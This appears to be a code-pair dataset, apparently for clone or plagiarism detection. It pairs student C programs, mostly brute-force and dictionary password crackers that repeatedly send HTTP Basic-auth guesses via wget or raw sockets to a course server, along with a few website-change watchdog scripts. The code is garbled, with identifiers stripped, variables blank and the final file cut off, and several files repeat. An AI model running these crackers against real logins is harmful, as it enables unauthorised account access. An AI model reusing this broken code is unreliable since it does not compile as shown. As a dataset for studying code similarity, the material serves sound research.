"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
001.c
051.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
001.c
066.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
001.c
026.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0
001.c
067.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> int main () { FILE *fp; char s[300] , ptr[20]; system("rm *.html* "); system("wget http://www.cs.rmit.edu./students/ "); system("mv index.html First.html"); system("sleep 10"); system("wget http://www.cs.rmit.edu./students/ "); system("diff First.html index.html > difference.txt" ); fp=fopen("difference.txt","r"); if(fgets(ptr,30,fp)) { system( "mailx -s \"Changes were detected \" < difference.txt "); } else printf(" were changes detected"); return 0; }
0
001.c
024.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(system(mx)==0) { printf("Password=%s\n",mx); printf("%d \n",count); end = time(); t = (end -); t /= 1000000000.0; printf("The total time_var taken is:%llds\n",t); exit(1); } } } } return 0; }
0
001.c
009.c
#include<stdio.h> #include<string.h> #include<strings.h> #include<stdlib.h> #include<sys/time.h> () { int i,j,k,m,count=0,flage=0; FILE* log; time_t ,finish; double ttime; char s[30]; char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; char add[100]; strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/"); =time(NULL); for(i=0;i<52;i++) { for(j=0;j<52;j++) { for(k=0;k<52;k++) { printf("%c %c %c\n",arr[i],arr[j],arr[k]); add[40]=arr[i]; add[41]=arr[j]; add[42]=arr[k]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count); flage=1; break; } fclose(log); } } } if(flage==0) { for(i=0;i<52;i++) { add[40]=arr[i]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count); flage=1; break; } fclose(log); } } if(flage==0) { for(i=0;i<52;i++) { for(j=0;j<52;j++) { add[40]=arr[i]; add[41]=arr[j]; system(add); count++; log=fopen("log","r"); if(log!=(FILE*)NULL) fgets(s,100,log); printf("%s",s); if(strcmp(s,"Authorization failed.\n")!=0) { finish=time(NULL); ttime=difftime(,finish); printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count); flage=1; break; } fclose(log); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int main() { char *wordptr = " word"; FILE *fp; int syst = 1; char string1[80], string2[50]; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); char words[30]; fp = fopen("words", "r"); while(wordptr != NULL) { wordptr = fgets(words, 30, fp); if (wordptr == NULL) exit(1); words [ strlen(words) - 1 ] = '\0'; strcat(string1, words); strcat(string1, string2); printf("\n %s \n",string1); syst = system(string1); if (syst == 0) { exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); printf("%s", words); } }
0
069.c
073.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #include <netdb.h> #include <unistd.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <arpa/inet.h> #include <errno.h> #include <signal.h> #define BUFFER_SIZE 2000 #define RETURN_OK 0 #define RETURN_ERROR 1 #define TRUE 1 #define FALSE 0 #define PASSWORD_LENGTH 3 #define STATUS_OK 200 #define STATUS_AUTH_REQUIRED 401 #define CONN_CLOSED 2 char *host; char *filename; int ; char *url; char *username; int attempt; struct sockaddr_in serverAddr; void processArguments(int, char **argv, char **, char **); void printUsage(char *); void splitURL(const char *, char **, char **); int openConnection(); void initialiseConnection(); void sendRequest(int, char *, char *, char *, char *); int getResponseStatus(int); void base64_encode(const unsigned char *, unsigned char *); void getHostErrorMsg(char *); void generatePassword(char *, int); void testPassword(char *); int main(int argc, char *argv[]) { char password[PASSWORD_LENGTH+1]; int i; attempt = 0; processArguments(argc, argv, &url, &username); splitURL(url, &host, &filename); initialiseConnection(); = openConnection(); for (i=1; i<=PASSWORD_LENGTH; i++) { memset(password, 0, PASSWORD_LENGTH+1); generatePassword(password, i); } printf("The password has not been cracked\n"); exit(RETURN_OK); } void generatePassword(char *password, int reqLength) { static const char *chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; int currLength; int i; currLength = strlen(password); currLength++; for (i=0; i<strlen(chars); i++) { password[currLength-1] = chars[i]; if (strlen(password) != reqLength) { generatePassword(password, reqLength); } else { testPassword(password); } password[currLength] = '\0'; } } void testPassword(char *password) { int status; attempt++; TestPassword: sendRequest(, host, filename, username, password); status = getResponseStatus(); if (status == STATUS_OK) { printf("The password has been found after %d attempts: %s\n", attempt, password); exit(RETURN_OK); } else if (status == CONN_CLOSED) { (); = openConnection(); goto TestPassword; } else if (status != STATUS_AUTH_REQUIRED) { printf("Status %d received from server\n", status); exit(RETURN_ERROR); } } void processArguments(int argc, char *argv[], char **url, char **username) { if (argc != 3) { printUsage(argv[0]); exit(1); } *url = (char *) malloc(strlen(argv[1] + 1)); strcpy(*url, argv[1]); *username = (char *) malloc(strlen(argv[2] + 1)); strcpy(*username, argv[2]); } void printUsage(char *program) { fprintf(stderr, "Usage:\n"); fprintf(stderr, "%s url username\n", program); } void splitURL(const char *url, char **host, char **file) { char *p1; char *p2; p1 = strstr(url, "//"); if (p1 == NULL) p1 = (char *) url; else p1 = p1 + 2; p2 = strstr(p1, "/"); if (p2 == NULL) { fprintf(stderr, "Invalid url\n"); exit(RETURN_ERROR); } *host = (char *) malloc(p2-p1+2); strncpy(*host, p1, p2-p1); (*host)[p2-p1] = '\0'; *file = (char *) malloc(strlen(p2+1)); strcpy(*file, p2); } void sendRequest(int , char *host, char *filename, char *username, char *password) { char message[BUFFER_SIZE]; unsigned char encoded[BUFFER_SIZE]; unsigned char token[BUFFER_SIZE]; sprintf((char *) token, "%s:%s", username, password); base64_encode(token, encoded); sprintf(message, "GET %s HTTP/1.1\nHost: %s\nAuthorization: %s\n\n", filename, host, encoded); if (write(, message, strlen(message)) == -1) { perror(""); exit(RETURN_ERROR); } } int getResponseStatus() { char message[BUFFER_SIZE]; int bytesRead; char *p1; char status_str[4]; int status; while (TRUE) { bytesRead = (, message, BUFFER_SIZE-1); if (bytesRead == -1) { perror(""); exit(RETURN_ERROR); } else if (bytesRead == 0) { return CONN_CLOSED; } message[bytesRead+1] = '\0'; p1 = strstr(message, "HTTP"); if (p1 != NULL) { p1 = p1 + 9; break; } } strncpy(status_str, p1, 3); status_str[3] = '\0'; status = atol(status_str); return status; } int openConnection() { int ; if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror(""); exit(RETURN_ERROR); } if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1) { perror("connect"); exit(RETURN_ERROR); } return ; } void initialiseConnection() { struct hostent *serverHostent; unsigned serverIP; char errorMsg[BUFFER_SIZE]; memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_port = htons(80); if ((serverIP = inet_addr(host)) != -1) { serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = serverIP; } else if ((serverHostent = gethostbyname(host)) != NULL) { serverAddr.sin_family = serverHostent->h_addrtype; memcpy((void *) &serverAddr.sin_addr, (void *) serverHostent->h_addr, serverHostent->h_length); } else { getHostErrorMsg(errorMsg); printf("%s: %s\n", host, errorMsg); exit(RETURN_ERROR); } } void base64_encode(const unsigned char *input, unsigned char *output) { static const char *codes = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; int i; int len; int lenfull; unsigned char *p; int a; int b; int c; p = output; len = strlen((char *) input); lenfull = 3*(len / 3); for (i = 0; i < lenfull; i += 3) { *p++ = codes[input[0] >> 2]; *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)]; *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)]; *p++ = codes[input[2] & 0x3f]; input += 3; } if (i < len) { a = input[0]; b = (i+1 < len) ? input[1] : 0; c = 0; *p++ = codes[a >> 2]; *p++ = codes[((a & 3) << 4) + (b >> 4)]; *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '='; *p++ = '='; } *p = '\0'; } void getHostErrorMsg(char *message) { switch (h_errno) { HOST_NOT_FOUND : strcpy(message, "The specified host is unknown"); break; NO_DATA: strcpy(message, "The specified host name is valid, but does not have address"); break; NO_RECOVERY: strcpy(message, "A non-recoverable name server error occurred"); break; TRY_AGAIN: strcpy(message, "A temporary error occurred authoritative name server. Try again later."); break; default: strcpy(message, " unknown name server error occurred."); } }
0
069.c
010.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#include <stdio.h> #include <stdlib.h> #include <errno.h> int () { while (1) { system("wget -p www.cs.rmit.edu.");\ system("mkdir sitefiles"); system("cp www.cs.rmit.edu./index.html sitefiles"); system("diff sitefiles/index.html www.cs.rmit.edu./index.html | mail @cs.rmit.edu."); system("md5sum www.cs.rmit.edu./images/*.* > imageInfo.txt"); system("diff imageInfo.txt sitefiles/imageInfo.txt | mail @cs.rmit.edu."); system("cp imageInfo.txt sitefiles"); sleep(86400); } }
0
069.c
035.c
#include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <string.h> #include <ctype.h> #include <sys/time.h> #define ant 1e9 int () { FILE *fptr=NULL; int starttime,endtime,totaltime; int i,final,count=0; char ch[20],passwd[20],c,s1[100],s2[100]; fptr=fopen("words","r"); starttime=time(); if(fptr==NULL) { printf("file empty"); exit(0); } strcpy(s1, "wget --http-user= --http-passwd="); strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/"); while(!feof(fptr)) { i=0; c=getc(fptr); while(c!='\n') { ch[i]=c; i++; c=getc(fptr); } ch[i]='\0'; strcpy(passwd,ch); if(strlen(passwd)==3) { strcat(s1, passwd); strcat(s1,s2); printf(" The combination sent is %s \n", s1); final = system(s1); count++; if (final == 0) { endtime=time(); totaltime=(endtime-starttime); printf("\nsuccess %s\n",passwd); printf("count %d",count); printf("totaltime %1f\n",(double)totaltime/ant); exit(1); } strcpy(s1, ""); strcpy(s1, "wget --http-user= --http-passwd="); } } }
#define _REENTRANT #include <sys/time.h> #include <sys/types.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdarg.h> #include <unistd.h> #include <errno.h> #include <ctype.h> #include <pthread.h> #include <signal.h> #define MAX_THREADS 1000 #define MAX_COMBO #define false 0 #define true 1 static char *alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; static char **combination=NULL; static char host[128]; pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER; pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER; static int attempt_count=0; static int combo_entries=0; static struct timeval ; static struct timeval stop; static int thread_ready_indicator=false; static int thread_start_indicator=false; static int thread_count=0; typedef struct range { int ; int ; }range; void *client(void *arg) { int i=0, status=1; range *= (struct range*)arg; char local_buffer[128]; pthread_mutex_lock(&thread_lock); thread_ready_indicator=true; pthread_cond_signal(&thread_ready); while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock); fflush(stdout); pthread_mutex_unlock(&thread_lock); for(i=->; i<=-> && i<combo_entries; i++) { sprintf(local_buffer, "wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s", "", combination[i], host); status=system(local_buffer); if(status==0) { printf("\n\nusername: \npassword: %s\n\n", combination[i]); fflush(stdout); pthread_mutex_lock(&counter_lock); attempt_count++; gettimeofday(&stop, NULL); printf("About %d attempts were , which took %ld.%ld seconds complete.\n", attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec)); fflush(stdout); pthread_mutex_unlock(&counter_lock); exit(EXIT_SUCCESS); } else { pthread_mutex_lock(&counter_lock); attempt_count++; pthread_mutex_unlock(&counter_lock); } } pthread_exit(NULL); } char *getNextCombination() { static int i=0; static int j=0; static int k=0; static int mode=1; char *word; if(i>51) { mode++; i=0; j=0; k=0; } if(mode==1) { char *word = calloc(mode, 1); word[0]=alphabet[i++]; word[1]='\0'; return word; } if(mode==2) { if(j>51) { i++; j=0; } if(i>51) { mode++; i=0; j=0; j=0; } else { char *word = calloc(mode, 1); word[0]=alphabet[i]; word[1]=alphabet[j++]; word[2]='\0'; return word; } } if(mode==3) { if(k>51) { j++; k=0; } if(j>51) { i++; j=0; } if(i>51) { mode++; i=0; j=0; j=0; } else { char *word = calloc(mode, 1); word[0]=alphabet[i]; word[1]=alphabet[j]; word[2]=alphabet[k++]; word[3]='\0'; return word; } } return NULL; } int main(int argc, char **argv) { int wait_status=0, i=0, j=0, num_threads=0; int partition=0, prev_min=0, prev_max=0; int len=0; char *word; range *; pthread_t tid[MAX_THREADS]; int non_alpha_detected=0; if(argc<3) { puts("Incorrect usage!"); puts("./brute num_threads url"); exit(EXIT_FAILURE); } strcpy(host, argv[2]); num_threads=atoi(argv[1]); combination = (char **)calloc(MAX_COMBO, sizeof(char *)); printf("Process ID for the thread is: %d\n", getpid()); printf("Creating brute-force dictionary ... "); while( (word=getNextCombination())!= NULL && i<MAX_COMBO) { combination[i]=calloc(strlen(word)+1, sizeof(char)); strcpy(combination[i++], word); combo_entries++; } puts(""); j=0; partition=combo_entries/num_threads; if(partition==0) { puts("Reducing the number of threads match the number of words."); num_threads=combo_entries; partition=1; } prev_min=0; prev_max=partition; i=0; memset(&, 0, sizeof(struct timeval)); memset(&stop, 0, sizeof(struct timeval)); while(i<num_threads && i<MAX_THREADS) { =malloc(sizeof(struct range)); ->=prev_min; ->=prev_max; pthread_mutex_lock(&thread_lock); thread_ready_indicator=false; pthread_mutex_unlock(&thread_lock); if(pthread_create(&tid[i++], NULL, client, (void 